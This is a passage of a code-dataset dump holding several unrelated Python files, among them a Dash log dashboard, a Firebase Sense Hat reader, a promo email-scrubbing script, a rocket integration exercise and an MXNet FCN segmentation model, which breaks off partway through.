keyspace=\"loganalysis\")\\\n .load()\n\napp = dash.Dash(__name__, suppress_callback_exceptions=True)\n\napp.layout = html.Div([\n dcc.Location(id='url', refresh=False),\n html.Div(id='page-content')\n], style={'textAlign': 'center'})\n\n#Color assignment\ncolors = {\n 'background': 'white',#'#0C0F0A',\n 'text': '#FFFFFF'\n}\n\ndef create_header(title):\n header_style = {\n 'background-color' : '#1B95E0',\n 'padding' : '1.5rem',\n 'color': 'white',\n 'font-family': 'Verdana, Geneva, sans-serif'\n }\n header = html.Header(html.H1(children=title, style=header_style))\n return header\n\ndef generate_table(df, max_rows=10):\n table = html.Table(className=\"responsive-table\",\n children=[\n html.Thead(\n html.Tr(\n children=[html.Th(col.title()) for col in df.columns.values]\n \n ),style={'border':'1px black solid'}\n ),\n html.Tbody(\n [\n html.Tr(\n children=[html.Td(data) for data in d]\n )\n for d in df.values.tolist()],style={'border':'1px black solid'})\n ]\n , style={'marginLeft': 'auto', 'marginRight': 'auto'}\n )\n \n return table\n\nrealtime_dashboard = html.Div(style={'backgroundColor': colors['background']}, children=\n [ \n html.Div([create_header('Log Analysis - Realtime Dashboard')]),\n html.Div([dcc.Graph(id='live-graph', animate=False)] ,style={'width': '100%', 'display': 'inline-block'}),\n html.Div([html.H2(\"Top Paths\"), html.Div(id=\"top-paths-table\")],style={'width': '50%', 'display': 'inline-block', 'border':'2px black solid'}),\n ##Intervals define the frequency in which the html element should be updated\n dcc.Interval(id='graph-update',interval=60*1000, n_intervals=0),\n html.Div(id='real-time-content'),\n html.Br(),\n ]\n)\n\ndef read_cassandra(filter_condition,limit=False):\n logs_df = spark\\\n .read\\\n .format(\"org.apache.spark.sql.cassandra\")\\\n .options(table=\"bgllogs\", keyspace=\"loganalysis\")\\\n .load()\\\n .filter(filter_condition)\n if limit:\n return logs_df.limit(5).toPandas()\n else:\n return logs_df.toPandas()\n \n@app.callback(Output('top-paths-table', 'children'),\n Input('graph-update', 'n_intervals')\n )\ndef update_top_urls(n_intervals):\n try:\n processed_time = 0\n filter_condition = \"prediction == 'Abnormal' and time_added >'\"+str(processed_time)+\"'\"\n df = read_cassandra(filter_condition)\n processed_time = time.time()-60\n\n df = df[['content','label', 'prediction']]\n\n return generate_table(df, max_rows=5)\n except Exception as e:\n #File to capture exceptions\n with open('table_errors.txt','a') as f:\n f.write(str(e))\n f.write('\\n')\n\n\n\nif __name__ == '__main__':\n app.run_server(debug=False, use_reloader=False, port=8050,host= '0.0.0.0')","repo_name":"aidino/log-analytics-system","sub_path":"notebooks/log_visualize.py","file_name":"log_visualize.py","file_ext":"py","file_size_in_byte":4191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32075192444","text":"def equals(list):\r\n brek = [list[a +1]-list[a] for a in range(len(list)-1)]\r\n return len(set(brek)) == 1\r\n\r\ndef apply(list, pasos):\r\n if pasos > 0:\r\n list = list[pasos:] + list[:pasos]\r\n return list\r\n else: \r\n list = (list[pasos *-1:] + list[:pasos*-1])[::-1]\r\n return list\r\n\r\ndef point (list_, list1):\r\n point_ = list(filter(lambda y:y in list_, list1))\r\n return point_\r\n\r\narray = [1,1,1,1,2,2,3,4,5,6,7,7,8]\r\na = [1,2,3,4,5,6]\r\n \r\nprint(apply(array, -5)) \r\n","repo_name":"Thelesse/AllTaskPython","sub_path":"hw2.py","file_name":"hw2.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36648168141","text":"# coding: utf-8\nimport matplotlib\nmatplotlib.use('Agg')\n\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_pdf import PdfPages\n\nimport argparse\nimport numpy as np\n\n\ndef read_vfiles(vfiles):\n \"\"\"\n Parse validation report files\n :param vfiles: list of files\n :return:\n \"\"\"\n models = {}\n for vfile in vfiles:\n model_name = vfile.split(\"/\")[-2] if \"//\" not in vfile \\\n else vfile.split(\"/\")[-3]\n with open(vfile, \"r\") as validf:\n steps = {}\n for line in validf:\n entries = line.strip().split()\n key = int(entries[1])\n steps[key] = {}\n for i in range(2, len(entries)-1, 2):\n name = entries[i].strip(\":\")\n value = float(entries[i+1])\n steps[key][name] = value\n models[model_name] = steps\n return models\n\n\ndef plot_models(models, plot_values, output_path):\n \"\"\"\n Plot the learning curves for several models\n :param models:\n :param plot_values:\n :param output_path:\n :return:\n \"\"\"\n # models is a dict: name -> ckpt values\n f, axes = plt.subplots(len(plot_values), len(models),\n sharex='col', sharey='row',\n figsize=(3*len(models), 3*len(plot_values)))\n axes = np.array(axes).reshape((len(plot_values), len(models)))\n\n for col, model_name in enumerate(models):\n values = {}\n # get arrays for plotting\n for step in sorted(models[model_name]):\n logged_values = models[model_name][step]\n for plot_value in plot_values:\n if plot_value not in logged_values:\n continue\n elif plot_value not in values:\n values[plot_value] = [[], []]\n values[plot_value][1].append(logged_values[plot_value])\n values[plot_value][0].append(step)\n\n for row, plot_value in enumerate(plot_values):\n axes[row][col].plot(values[plot_value][0], values[plot_value][1])\n axes[row][0].set_ylabel(plot_value)\n axes[0][col].set_title(model_name)\n plt.tight_layout()\n if output_path.endswith(\".pdf\"):\n pp = PdfPages(output_path)\n pp.savefig(f)\n pp.close()\n else:\n if not output_path.endswith(\".png\"):\n output_path += \".png\"\n plt.savefig(output_path)\n\n plt.close()\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\"JoeyNMT Validation plotting.\")\n parser.add_argument(\"model_dirs\", type=str, nargs=\"+\",\n help=\"Model directories.\")\n parser.add_argument(\"--plot_values\", type=str, nargs=\"+\", default=[\"bleu\"],\n help=\"Value(s) to plot. Default: bleu\")\n parser.add_argument(\"--output_path\", type=str, default=\"plot.pdf\",\n help=\"Plot will be stored in this location.\")\n args = parser.parse_args()\n\n vfiles = [m+\"/validations.txt\" for m in args.model_dirs]\n\n models = read_vfiles(vfiles)\n\n plot_models(models, args.plot_values, args.output_path)\n","repo_name":"jiangqn/KSTER","sub_path":"scripts/plot_validations.py","file_name":"plot_validations.py","file_ext":"py","file_size_in_byte":3130,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"37"} +{"seq_id":"42248804565","text":"import constants\nfrom objects import tartan\n\n\ndef main():\n print(constants.COLORS)\n print(constants.TARTANS)\n\n while True:\n a = input(\"Enter tartan name: \")\n tartan.Tartan(a)\n\nif __name__ == '__main__':\n constants.init_data()\n\n main()","repo_name":"ruskirin/mth337","sub_path":"project3_tartan/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28211655577","text":"from sense_hat import SenseHat\r\nfrom time import time, sleep\r\nimport sys\r\nimport firebase_admin\r\nfrom firebase_admin import credentials\r\nfrom firebase_admin import db\r\n\r\n# get API key from json\r\nserviceAccountKey = \"./../../keys/domoticakey.json\"\r\ndatabaseURL = \"https://domotica-python.firebaseio.com/\"\r\n\r\ntry:\r\n # fetch the service account key JSON file contents\r\n firebase_cred = credentials.Certificate(serviceAccountKey)\r\n firebase_admin.initialize_app(firebase_cred, {\r\n \"databaseURL\": databaseURL\r\n })\r\n\r\n firebase_ref_domotica = db.reference(\"domotica\")\r\nexcept:\r\n print('Unable to initialize Firebase: {}'.format(sys.exc_info()[0]))\r\n sys.exit(1)\r\n\r\n\r\ndef fetch_house():\r\n print(\"Fetching from Firebase\")\r\n house = firebase_ref_domotica.get()\r\n pixel_array = []\r\n\r\n if house is not None:\r\n print(\"Found some stuff!\")\r\n for key,val in house.items():\r\n pixel = val\r\n pixel_array.append(pixel)\r\n\r\n # looping through characters\r\n i = 0\r\n print(\"Showing on Sense Hat\")\r\n while i < len(pixel_array):\r\n pixel = pixel_array[i]\r\n sense_hat.set_pixels(pixel)\r\n sleep(3)\r\n i += 1\r\n\r\n else:\r\n print(\"Found nothing...\")\r\n return false\r\n\r\n\r\n\r\ntry:\r\n # SenseHat\r\n sense_hat = SenseHat()\r\n sense_hat.set_imu_config(False, False, False)\r\nexcept:\r\n print('Unable to initialize the Sense Hat library: {}'.format(sys.exc_info()[0]))\r\n sys.exit(1)\r\n\r\ndef main():\r\n while True:\r\n fetch_house()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n try:\r\n main()\r\n except (KeyboardInterrupt, SystemExit):\r\n print('Interrupt received! Stopping the application...')\r\n finally:\r\n print('Stopping program')\r\n sense_hat.clear()\r\n sys.exit(0)","repo_name":"gdmgent-1819-wot/labo-2-domotica-manatran","sub_path":"pi/app_domotica.py","file_name":"app_domotica.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39169728509","text":"import os\nimport datetime\nimport csv\nimport re\n\nclass Master_List():\n #Creates a list of pervious used emails\n def ineligible_list(self,brand,promo):\n #creates and formats a Ineligiable List file for the given brand promo combo\n self.brand = brand\n self.promo = promo\n self.file_path = '//goatee/public/Brand Management/' + self.brand + '/Promotions/' + self.promo + '/Shopify Order Export/'\n ineligible_file_path = self.file_path + 'Ineligible List'\n if os.listdir(ineligible_file_path) == []:\n with open (ineligible_file_path + '/Ineligible List.csv','w+',newline='') as csvfile:\n title = ['Email','Brand','Promo']\n csvwriter = csv.writer(csvfile, delimiter=',')\n csvwriter.writerow(title) \n\n def add_email(self,email):\n #Opens the Ineligiable List and adds the lastest used Emails \n brand = self.file_path.split('/')[5]\n promo = self.file_path.split('/')[7]\n with open(self.file_path + '/Ineligible List/Ineligible List.csv','a+',newline='') as csvfile:\n csvwriter = csv.writer(csvfile, delimiter=',')\n row = [email,brand,promo]\n csvwriter.writerow(row)\n\nclass Data_Exstract():\n #all of the data exstract methods needed\n def exstract_names(self,name):\n #splits the line and pulls out the first name, last name, and email1]\n names = name[0].split(' ')\n cleaned_names = [names[0],names[1],name[1],name[3]]\n return(cleaned_names)\n\n def exstract_time(self,filename):\n #splits the filename and pulls out the start and end time stamps\n filename = re.split(\"-|_\",filename)\n Current_Time = datetime.date(int(filename[4]),int(filename[5]),int(filename[6].split('.')[0]))\n return(Current_Time)\n\npath_Barbasol_data = \"//goatee/public/Brand Management/Barbasol/Promotions/Tee Off/Shopify Order Export/Original Shopify Export for Harte Hanks\"\npath_Pure_Silk_data = \"//goatee/public/Brand Management/Pure Silk/Promotions/TLC Marketing Promo/Shopify Order Export/Original Shopify Exports for TLC\"\n\npath_Barbasol_Clean = \"//goatee/public/Brand Management/Barbasol/Promotions/Tee Off/Shopify Order Export/Scrubbed File for Harte Hanks\"\npath_Pure_Silk_Clean = \"//goatee/public/Brand Management/Pure Silk/Promotions/TLC Marketing Promo/Shopify Order Export/Scrubbed File for TLC\"\n\nLastest_File_Barbasol = \"\"\nLastest_File_Pure_Silk = \"\"\n\n#Barbasol\nbarbasol_used_emails = Master_List()\nbarbasol_used_emails.ineligible_list('Barbasol','Tee Off')\nLastest_Time = datetime.date(2011,1,1)#Early Dummy Date\nfor filename in os.listdir(path_Barbasol_data):\n Current_Time = Data_Exstract().exstract_time(filename)\n if Lastest_Time < Current_Time:\n Lastest_Time = Current_Time\n Lastest_File = filename\n \nfile = open(path_Barbasol_data + '/' + Lastest_File)\nValid_Products = ['Barbasol Ultra 6 Plus Value Pack','Barbasol Shave Club Starter Kit','Barbasol Ultra 6 Plus']\n\nChecked_Names_file = open('//goatee/public/Brand Management/Barbasol/Promotions/Tee Off/Shopify Order Export/Ineligible List/Ineligible List.csv','r')\nChecked_Names = []\nfor line in Checked_Names_file:\n line = line.split(',')\n Checked_Names.append(line[0])\nChecked_Names_file.close()\n\nwith open(path_Barbasol_Clean + '/' + 'Barbasol_' +Lastest_File, 'a+',newline='') as csvfile:\n title = ['first name','last name','address 1','address 2','city','state','zip','email address','phone number']\n csvwriter = csv.writer(csvfile, delimiter=',')\n for line in csvfile:\n if len(line) == 0:\n csvwriter.writerow(title)\n break\n for line in file:\n line = line.split(',')\n if line [2] in Valid_Products:\n names = Data_Exstract().exstract_names(line)\n if names[2] not in Checked_Names:\n Checked_Names.append(names[2])\n Formated_Line = [names[0],names[1],'','','','','',names[2],''] \n csvwriter.writerow(Formated_Line)\n barbasol_used_emails.add_email(names[2]) \n\n#Pure Silk\npure_silk_used_emails = Master_List()\npure_silk_used_emails.ineligible_list('Pure Silk','TLC Marketing Promo')\nLastest_Time = datetime.date(2011,1,1)#Early Dummy Date\nfor filename in os.listdir(path_Pure_Silk_data):\n Current_Time = Data_Exstract().exstract_time(filename)\n if Lastest_Time < Current_Time:\n Lastest_Time = Current_Time\n Lastest_File = filename\n\nChecked_Names_file = open('//goatee/public/Brand Management/Pure Silk/Promotions/TLC Marketing Promo/Shopify Order Export/Ineligible List/Ineligible List.csv','r')\nChecked_Names = []\nfor line in Checked_Names_file:\n line = line.split(',')\n Checked_Names.append(line[0])\nChecked_Names_file.close()\n\nfile.close() \nfile = open(path_Pure_Silk_data + '/' + Lastest_File)\nValid_Products = ['Pure Silk Contour 6 Value Pack','Pure Silk Shave Club Starter Kit','Pure Silk Shave Club Starter Kit','Pure Silk Contour 6 Razor']\n\nwith open(path_Pure_Silk_Clean + '/' + \"Pure_Silk_\" + Lastest_File, 'a+',newline='') as csvfile:\n title = ['First Name','Last Name','Email Address','State']\n csvwriter = csv.writer(csvfile, delimiter=',')\n for line in csvfile:\n if len(line) == 0:\n csvwriter.writerow(title)\n break\n for line in file:\n line = line.split(',')\n if line [2] in Valid_Products:\n names = Data_Exstract().exstract_names(line)\n if names[2] not in Checked_Names:\n Checked_Names.append(names[2])\n Formated_Line = [names[0],names[1],names[2],names[3]]\n csvwriter.writerow(Formated_Line)\n pure_silk_used_emails.add_email(names[2])\nfile.close()\n","repo_name":"ZackOConnor/Data-Processing-Tools","sub_path":"Promo_Tracking.py","file_name":"Promo_Tracking.py","file_ext":"py","file_size_in_byte":5774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24723707588","text":"import cv2\nimport numpy as np\nimport Levenshtein\n\npixel_coordinates = [(0, 0), (236, 157)]\n\n\n# def get_img_feature(img):\n# # 将图像转换为HSV颜色空间\n# hsv_img = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n\n# # 计算颜色直方图\n# hist_value = cv2.calcHist([hsv_img], [2], None, [50], [0, 256])\n\n# # 将直方图归一化\n# hist_value /= hist_value.sum()\n\n# # 将三个颜色通道的直方图合并成一个特征向量\n# feature_vector = np.concatenate((hist_value), axis=None)\n\n# # 转换 NumPy 数组为列表\n# feature_vector = [round(float(value), 8) for value in feature_vector]\n\n# return feature_vector\n\n\ndef get_gun_name_by_feature(feature_vector, guns_feature_dict):\n # 计算差异值(欧氏距离)\n # print(guns_feature_dict)\n diff = {}\n for key, value in guns_feature_dict.items():\n diff[key] = round(np.linalg.norm(\n np.array(value) - np.array(feature_vector)), 4)\n\n # 按差异值从小到大排序\n sorted_diff = sorted(diff.items(), key=lambda x: x[1])\n\n # print(\"差异值列表:\", sorted_diff)\n # print(sorted_diff[0][1])\n\n if sorted_diff[0][1] < 50:\n return sorted_diff[0][0]\n else:\n return 'none'\n\n\ndef get_option_name_by_feature(feature_vector, options_feature_dict):\n diff = {}\n for key, value in options_feature_dict.items():\n diff[key] = round(np.linalg.norm(\n np.array(value) - np.array(feature_vector)), 4)\n\n # 按差异值从小到大排序\n sorted_diff = sorted(diff.items(), key=lambda x: x[1])\n\n # print(\"差异值列表:\", sorted_diff)\n # print(sorted_diff[0][1])\n\n if sorted_diff[0][1] < 15:\n return sorted_diff[0][0]\n else:\n return 'none'\n\n\ndef get_gunimg_feature(img):\n # image = cv2.imread(img)\n pixel_coordinates = [(0, 0), (236, 157), (0, 80), (12, 80), (24, 80), (36, 80), (48, 80), (60, 80), (72, 80), (84, 80), (\n 96, 80), (108, 80), (120, 80), (132, 80), (144, 80), (156, 80), (168, 80), (180, 80), (192, 80), (204, 80), (216, 80), (228, 80), (132, 32), (132, 44), (132, 56), (132, 68), (132, 92), (132, 104), (132, 116), (132, 128)]\n\n brightness_values = []\n for x, y in pixel_coordinates:\n brightness = float(img[y, x][0])\n brightness_values.append(brightness)\n\n # print(\"亮度值列表:\", brightness_values)\n return brightness_values\n\n\ndef get_optionimg_feature(img):\n pixel_coordinates = [\n (60, 16), (66, 16), (68, 16), (72, 16), (76, 16), (80, 16),\n (84, 16), (88, 16), (92, 16), (96, 16), (100, 16), (104, 16),\n (108, 16), (112, 16), (116, 16), (120, 16), (124, 16), (128, 16),\n (132, 16), (136, 16),\n (60, 18), (66, 18), (68, 18), (72, 18), (76, 18), (80, 18),\n (84, 18), (88, 18), (92, 18), (96, 18), (100, 18), (104, 18),\n (108, 18), (112, 18), (116, 18), (120, 18), (124, 18), (128, 18),\n (132, 18), (136, 18),\n (60, 20), (66, 20), (68, 20), (72, 20), (76, 20), (80, 20),\n (84, 20), (88, 20), (92, 20), (96, 20), (100, 20), (104, 20),\n (108, 20), (112, 20), (116, 20), (120, 20), (124, 20), (128, 20),\n (132, 20), (136, 20),\n (126, 18), (126, 20), (130, 20)\n ]\n\n brightness_values = []\n # print(img)\n # print(img)\n for x, y in pixel_coordinates:\n brightness = float(img[y, x][0])\n brightness_values.append(brightness)\n\n # print(\"亮度值列表:\", brightness_values)\n return brightness_values\n\n\ndef get_option_index(given_string, candidate_strings):\n # 初始化最小距离和最接近的字符串索引\n min_distance = float('inf')\n closest_index = None\n # 遍历候选字符串并计算Levenshtein距离\n for index, candidate in enumerate(candidate_strings):\n distance = Levenshtein.distance(given_string, candidate)\n if distance < min_distance:\n min_distance = distance\n closest_index = index\n\n print(\"最小距离\", min_distance)\n if min_distance < 1:\n return closest_index\n else:\n return None\n","repo_name":"SimpleLsd/WoG_Quiz_Cheat","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":4071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40989782348","text":"from graphviz import Digraph\ndot = Digraph(comment='The Round Table')\n\ndot.node('A', 'King Arthur')\ndot.node('B', 'Sir Bedevere the Wise')\ndot.edge('A', 'B')\ndot.edge('A', 'B')\ndot.node('L', 'Sir Lancelot the Brave')\n\n\ndot.edge('B', 'L', constraint='false')\n\ndot.render('trees/round-table.gv', view=True)","repo_name":"tcIures/slzm-regex","sub_path":"generate_graphs.py","file_name":"generate_graphs.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35901504940","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nIntegrasi numerik contoh 2\r\nMenghitung waktu tempuh\r\n\"\"\"\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ndef roket(tj):\r\n vj = 2000*np.log(140000/(140000-2100*tj))-9.8*tj\r\n return vj\r\n\r\ndef jarak(tfj):\r\n tf = 30\r\n n = 100\r\n dt = (tfj-ta)/n\r\n # Membuat array\r\n t = np.linspace(ta,tf,n+1)\r\n v = np.zeros(n+1)\r\n vsimp = np.zeros(n+1)\r\n for i in range(0,n+1):\r\n v[i] = roket(t[i])\r\n if i == 0:\r\n vsimp[i] = v[i]\r\n elif i == n:\r\n vsimp[i] = v[i]\r\n elif (-1)**i < 0:\r\n vsimp[i] = 4*v[i]\r\n else:\r\n vsimp[i] = 2*v[i]\r\n x = dt/3*sum(vsimp)\r\n return x\r\n\r\n# Data\r\nta = 0\r\ntf = 30\r\nxf = jarak(tf)\r\nwhile xf < 100000:\r\n tf += .05\r\n xf = jarak(tf)\r\n\r\nprint('waktu tempuh = {:.2f} detik'.format(tf))\r\nprint('jarak tempuh = {:.2f} m'.format(xf))\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"qiuha/filepertama","sub_path":"Roket02.py","file_name":"Roket02.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"720245785","text":"import mxnet as mx\n\ndef filter_map(kernel=1, stride=1, pad=0):\n return (stride, (kernel-stride)/2-pad)\n\ndef compose_fp(fp_first, fp_second):\n return (fp_first[0]*fp_second[0], fp_first[0]*fp_second[1]+fp_first[1])\n\ndef compose_fp_list(fp_list):\n fp_out = (1.0, 0.0)\n for fp in fp_list:\n fp_out = compose_fp(fp_out, fp)\n return fp_out\n\ndef inv_fp(fp_in):\n return (1.0/fp_in[0], -1.0*fp_in[1]/fp_in[0])\n\ndef offset():\n conv1_1_fp = filter_map(kernel=3, pad=100)\n conv1_2_fp = conv2_1_fp = conv2_2_fp = conv3_1_fp = conv3_2_fp = conv3_3_fp \\\n = conv4_1_fp = conv4_2_fp = conv4_3_fp = conv5_1_fp = conv5_2_fp \\\n = conv5_3_fp = filter_map(kernel=3, pad=1)\n pool1_fp = pool2_fp = pool3_fp = pool4_fp = pool5_fp = filter_map(kernel=2, stride=2)\n fc6_fp = filter_map(kernel=7)\n fc7_fp = score_fp = score_pool4_fp = score_pool3_fp = filter_map()\n # for fcn-32s\n fcn32s_upscore_fp = inv_fp(filter_map(kernel=64, stride=32))\n fcn32s_upscore_list = [conv1_1_fp, conv1_2_fp, pool1_fp, conv2_1_fp, conv2_2_fp,\n pool2_fp, conv3_1_fp, conv3_2_fp, conv3_3_fp, pool3_fp,\n conv4_1_fp, conv4_2_fp, conv4_3_fp, pool4_fp, conv5_1_fp,\n conv5_2_fp, conv5_3_fp, pool5_fp, fc6_fp, fc7_fp, score_fp,\n fcn32s_upscore_fp]\n crop = {}\n crop[\"fcn32s_upscore\"] = (-int(round(compose_fp_list(fcn32s_upscore_list)[1])),\n -int(round(compose_fp_list(fcn32s_upscore_list)[1])))\n # for fcn-16s\n score2_fp = inv_fp(filter_map(kernel=4, stride=2))\n fcn16s_upscore_fp = inv_fp(filter_map(kernel=32, stride=16))\n score_pool4c_fp_list = [inv_fp(score2_fp), inv_fp(score_fp), inv_fp(fc7_fp), inv_fp(fc6_fp),\n inv_fp(pool5_fp), inv_fp(conv5_3_fp), inv_fp(conv5_2_fp),\n inv_fp(conv5_1_fp), score_pool4_fp]\n crop[\"score_pool4c\"] = (-int(round(compose_fp_list(score_pool4c_fp_list)[1])),\n -int(round(compose_fp_list(score_pool4c_fp_list)[1])))\n fcn16s_upscore_list = [conv1_1_fp, conv1_2_fp, pool1_fp, conv2_1_fp, conv2_2_fp,\n pool2_fp, conv3_1_fp, conv3_2_fp, conv3_3_fp, pool3_fp,\n conv4_1_fp, conv4_2_fp, conv4_3_fp, pool4_fp, score_pool4_fp,\n inv_fp((1, -crop[\"score_pool4c\"][0])), fcn16s_upscore_fp]\n crop[\"fcn16s_upscore\"] = (-int(round(compose_fp_list(fcn16s_upscore_list)[1])),\n -int(round(compose_fp_list(fcn16s_upscore_list)[1])))\n # for fcn-8s\n score4_fp = inv_fp(filter_map(kernel=4, stride=2))\n fcn8s_upscore_fp = inv_fp(filter_map(kernel=16, stride=8))\n score_pool3c_fp_list = [inv_fp(score4_fp), (1, -crop[\"score_pool4c\"][0]), inv_fp(score_pool4_fp),\n inv_fp(pool4_fp), inv_fp(conv4_3_fp), inv_fp(conv4_2_fp),\n inv_fp(conv4_1_fp), score_pool3_fp, score_pool3_fp]\n crop[\"score_pool3c\"] = (-int(round(compose_fp_list(score_pool3c_fp_list)[1])),\n -int(round(compose_fp_list(score_pool3c_fp_list)[1])))\n fcn8s_upscore_list = [conv1_1_fp, conv1_2_fp, pool1_fp, conv2_1_fp, conv2_2_fp, pool2_fp,\n conv3_1_fp, conv3_2_fp, conv3_3_fp, pool3_fp, score_pool3_fp,\n inv_fp((1, -crop[\"score_pool3c\"][0])), fcn8s_upscore_fp]\n crop[\"fcn8s_upscore\"] = (-int(round(compose_fp_list(fcn8s_upscore_list)[1])),\n -int(round(compose_fp_list(fcn8s_upscore_list)[1])))\n return crop\n\ndef vgg16_pool3(input, workspace_default=1024):\n # group 1\n conv1_1 = mx.symbol.Convolution(data=input, kernel=(3, 3), pad=(100, 100), num_filter=64,\n workspace=workspace_default, name=\"conv1_1\")\n relu1_1 = mx.symbol.Activation(data=conv1_1, act_type=\"relu\", name=\"relu1_1\")\n conv1_2 = mx.symbol.Convolution(data=relu1_1, kernel=(3, 3), pad=(1, 1), num_filter=64,\n workspace=workspace_default, name=\"conv1_2\")\n relu1_2 = mx.symbol.Activation(data=conv1_2, act_type=\"relu\", name=\"relu1_2\")\n pool1 = mx.symbol.Pooling(data=relu1_2, pool_type=\"max\", kernel=(2, 2), stride=(2,2), name=\"pool1\")\n # group 2\n conv2_1 = mx.symbol.Convolution(data=pool1, kernel=(3, 3), pad=(1, 1), num_filter=128,\n workspace=workspace_default, name=\"conv2_1\")\n relu2_1 = mx.symbol.Activation(data=conv2_1, act_type=\"relu\", name=\"relu2_1\")\n conv2_2 = mx.symbol.Convolution(data=relu2_1, kernel=(3, 3), pad=(1, 1), num_filter=128,\n workspace=workspace_default, name=\"conv2_2\")\n relu2_2 = mx.symbol.Activation(data=conv2_2, act_type=\"relu\", name=\"relu2_2\")\n pool2 = mx.symbol.Pooling(data=relu2_2, pool_type=\"max\", kernel=(2, 2), stride=(2,2), name=\"pool2\")\n # group 3\n conv3_1 = mx.symbol.Convolution(data=pool2, kernel=(3, 3), pad=(1, 1), num_filter=256,\n workspace=workspace_default, name=\"conv3_1\")\n relu3_1 = mx.symbol.Activation(data=conv3_1, act_type=\"relu\", name=\"relu3_1\")\n conv3_2 = mx.symbol.Convolution(data=relu3_1, kernel=(3, 3), pad=(1, 1), num_filter=256,\n workspace=workspace_default, name=\"conv3_2\")\n relu3_2 = mx.symbol.Activation(data=conv3_2, act_type=\"relu\", name=\"relu3_2\")\n conv3_3 = mx.symbol.Convolution(data=relu3_2, kernel=(3, 3), pad=(1, 1), num_filter=256,\n workspace=workspace_default, name=\"conv3_3\")\n relu3_3 = mx.symbol.Activation(data=conv3_3, act_type=\"relu\", name=\"relu3_3\")\n pool3 = mx.symbol.Pooling(data=relu3_3, pool_type=\"max\", kernel=(2, 2), stride=(2,2), name=\"pool3\")\n return pool3\n\ndef vgg16_pool4(input, workspace_default=1024):\n # group 4\n conv4_1 = mx.symbol.Convolution(data=input, kernel=(3, 3), pad=(1, 1), num_filter=512,\n workspace=workspace_default, name=\"conv4_1\")\n relu4_1 = mx.symbol.Activation(data=conv4_1, act_type=\"relu\", name=\"relu4_1\")\n conv4_2 = mx.symbol.Convolution(data=relu4_1, kernel=(3, 3), pad=(1, 1), num_filter=512,\n workspace=workspace_default, name=\"conv4_2\")\n relu4_2 = mx.symbol.Activation(data=conv4_2, act_type=\"relu\", name=\"relu4_2\")\n conv4_3 = mx.symbol.Convolution(data=relu4_2, kernel=(3, 3), pad=(1, 1), num_filter=512,\n workspace=workspace_default, name=\"conv4_3\")\n relu4_3 = mx.symbol.Activation(data=conv4_3, act_type=\"relu\", name=\"relu4_3\")\n pool4 = mx.symbol.Pooling(data=relu4_3, pool_type=\"max\", kernel=(2, 2), stride=(2,2), name=\"pool4\")\n return pool4\n\ndef vgg16_score(input, numclass, workspace_default=1024):\n # group 5\n conv5_1 = mx.symbol.Convolution(data=input, kernel=(3, 3), pad=(1, 1), num_filter=512,\n workspace=workspace_default, name=\"conv5_1\")\n relu5_1 = mx.symbol.Activation(data=conv5_1, act_type=\"relu\", name=\"relu5_1\")\n conv5_2 = mx.symbol.Convolution(data=relu5_1, kernel=(3, 3), pad=(1, 1), num_filter=512,\n workspace=workspace_default, name=\"conv5_2\")\n relu5_2 = mx.symbol.Activation(data=conv5_2, act_type=\"relu\", name=\"relu5_2\")\n conv5_3 = mx.symbol.Convolution(data=relu5_2, kernel=(3, 3), pad=(1, 1), num_filter=512,\n workspace=workspace_default, name=\"conv5_3\")\n relu5_3 = mx.symbol.Activation(data=conv5_3, act_type=\"relu\", name=\"relu5_3\")\n pool5 = mx.symbol.Pooling(data=relu5_3, pool_type=\"max\", kernel=(2, 2), stride=(2,2), name=\"pool5\")\n # group 6\n fc6 = mx.symbol.Convolution(data=pool5, kernel=(7, 7), num_filter=4096,\n workspace=workspace_default, name=\"fc6\")\n relu6 = mx.symbol.Activation(data=fc6, act_type=\"relu\", name=\"relu6\")\n drop6 = mx.symbol.Dropout(data=relu6, p=0.5, name=\"drop6\")\n # group 7\n fc7 = mx.symbol.Convolution(data=drop6, kernel=(1, 1), num_filter=4096,\n workspace=workspace_default, name=\"fc7\")\n relu7 = mx.symbol.Activation(data=fc7, act_type=\"relu\", name=\"relu7\")\n drop7 = mx.symbol.Dropout(data=relu7, p=0.5, name=\"drop7\")\n # group 8\n score = mx.symbol.Convolution(data=drop7, kernel=(1, 1), num_filter=numclass,\n workspace=workspace_default, name=\"score\")\n return score\n\ndef fcnxs_score(input, crop, offset, kernel=(64,64), stride=(32,32), numclass=21, workspace_default=1024):\n # score out\n bigscore = mx.symbol.Deconvolution(data=input, kernel=kernel, stride=stride, adj=(stride[0]-1, stride[1]-1),\n num_filter=numclass, workspace=workspace_default, name=\"bigscore\")\n upscore = mx.symbol.Crop(*[bigscore, crop], offset=offset, name=\"upscore\")\n # upscore = mx.symbol.Crop(*[input, crop], offset=offset, name=\"upscore\")\n softmax = mx.symbol.SoftmaxOutput(data=upscore, multi_output=True, use_ignore=True, ignore_label=255, name=\"softmax\")\n return softmax\n\ndef get_fcn32s_symbol(numclass=21, workspace_default=1024):\n data = mx.symbol.Variable(name=\"data\")\n pool3 = vgg16_pool3(data, workspace_default)\n pool4 = vgg16_pool4(pool3, workspace_default)\n score = vgg16_score(pool4, 